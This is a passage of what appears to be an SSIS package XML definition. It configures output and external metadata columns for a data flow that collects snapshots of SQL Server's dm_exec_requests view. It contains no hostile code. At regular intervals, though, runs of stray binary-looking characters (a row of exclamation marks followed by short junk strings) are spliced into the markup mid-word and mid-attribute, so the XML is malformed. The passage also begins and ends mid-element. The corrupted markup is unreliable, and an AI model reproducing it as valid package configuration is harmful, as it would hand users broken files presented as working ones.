Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[program_name]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[program_name]" length="50" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[program_name]" name="program_name" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[login_name]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[login_name]" length="30" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[login_name]" name="login_name" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[wait_type]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query s	!!!!!!!!!!!!!!!!!!!!!!!!`47eHvtatitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[wait_type]" length="45" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[wait_type]" name="wait_type" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[last_wait_type]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[last_wait_type]" length="45" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[last_wait_type]" name="last_wait_type" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[wait_duration_ms]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[wait_duration_ms]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[wait_duration_ms]" name="wait_duration_ms" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[wait_resource]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[wait_resource]" length="50" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[wait_resource]" name="wait_resource" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[resource_description]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[resource_description]" length="140" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Ou	!!!!!!!!!!!!!!!!!!!!!!!!`578Hvtputs[OLE DB Source Output].Columns[resource_description]" name="resource_description" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[transaction_id]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[transaction_id]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[transaction_id]" name="transaction_id" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[open_transaction_count]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[open_transaction_count]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[open_transaction_count]" name="open_transaction_count" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[transaction_isolation_level]" dataType="i2" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[transaction_isolation_level]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[transaction_isolation_level]" name="transaction_isolation_level" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_cpu_time]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[request_cpu_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_cpu_time]" name="request_cpu_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output	!!!!!!!!!!!!!!!!!!!!!!!!`67	
<Hv].Columns[request_logical_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[request_logical_reads]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_logical_reads]" name="request_logical_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[request_reads]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_reads]" name="request_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_writes]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[request_writes]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_writes]" name="request_writes" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_total_elapsed_time]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[request_total_elapsed_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_total_elapsed_time]" name="request_total_elapsed_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_start_time]" dataType="dbTimeStamp" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColu	!!!!!!!!!!!!!!!!!!!!!!!!`77
5BHvmns[request_start_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_start_time]" name="request_start_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[memory_usage]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[memory_usage]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[memory_usage]" name="memory_usage" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_cpu_time]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_cpu_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_cpu_time]" name="session_cpu_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_reads]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_reads]" name="session_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_writes]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_writes]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_writes]" name="session_writes" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Acc	!!!!!!!!!!!!!!!!!!!!!!!!`87%'>&Hvess to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_logical_reads]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_logical_reads]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_logical_reads]" name="session_logical_reads" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_total_scheduled_time]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_total_scheduled_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_total_scheduled_time]" name="session_total_scheduled_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_total_elapsed_time]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_total_elapsed_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_total_elapsed_time]" name="session_total_elapsed_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[open_resultsets]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[open_resultsets]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[open_resultsets]" name="open_resultsets" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_row_count]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at co	!!!!!!!!!!!!!!!!!!!!!!!!`97)$^Hvllection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_row_count]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_row_count]" name="session_row_count" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[prev_error]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[prev_error]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[prev_error]" name="prev_error" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[pending_io_count]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[pending_io_count]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[pending_io_count]" name="pending_io_count" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[command]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[command]" length="32" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[command]" name="command" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[last_request_start_time]" dataType="dbTimeStamp" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[last_request_start_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[last_request_start_time]	!!!!!!!!!!!!!!!!!!!!!!!!`:7-^dRHv" name="last_request_start_time" truncationRowDisposition="FailComponent"/><outputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[last_request_end_time]" dataType="dbTimeStamp" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[last_request_end_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[last_request_end_time]" name="last_request_end_time" truncationRowDisposition="FailComponent"/></outputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[sql_handle]" dataType="bytes" length="64" name="sql_handle"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[statement_start_offset]" dataType="i4" name="statement_start_offset"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[statement_end_offset]" dataType="i4" name="statement_end_offset"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[plan_handle]" dataType="bytes" length="64" name="plan_handle"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[collection_time]" dataType="dbTimeStamp" name="collection_time"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[row_id]" dataType="i4" name="row_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_id]" dataType="i2" name="session_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[request_id]" dataType="i4" name="request_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[exec_context_id]" dataType="i4" name="exec_context_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source O	!!!!!!!!!!!!!!!!!!!!!!!!`;7Hvutput].ExternalColumns[blocking_session_id]" dataType="i2" name="blocking_session_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[is_blocking]" dataType="bool" name="is_blocking"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[blocking_exec_context_id]" dataType="i4" name="blocking_exec_context_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[scheduler_id]" dataType="i4" name="scheduler_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[database_name]" dataType="wstr" length="128" name="database_name"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[user_id]" dataType="i4" name="user_id"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[task_state]" dataType="wstr" length="10" name="task_state"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[request_status]" dataType="wstr" length="15" name="request_status"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[session_status]" dataType="wstr" length="15" name="session_status"/><externalMetadataColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].ExternalColumns[executing_managed_code]" dataType="bool" name="executing_managed_code"/><externalMetadataColumn 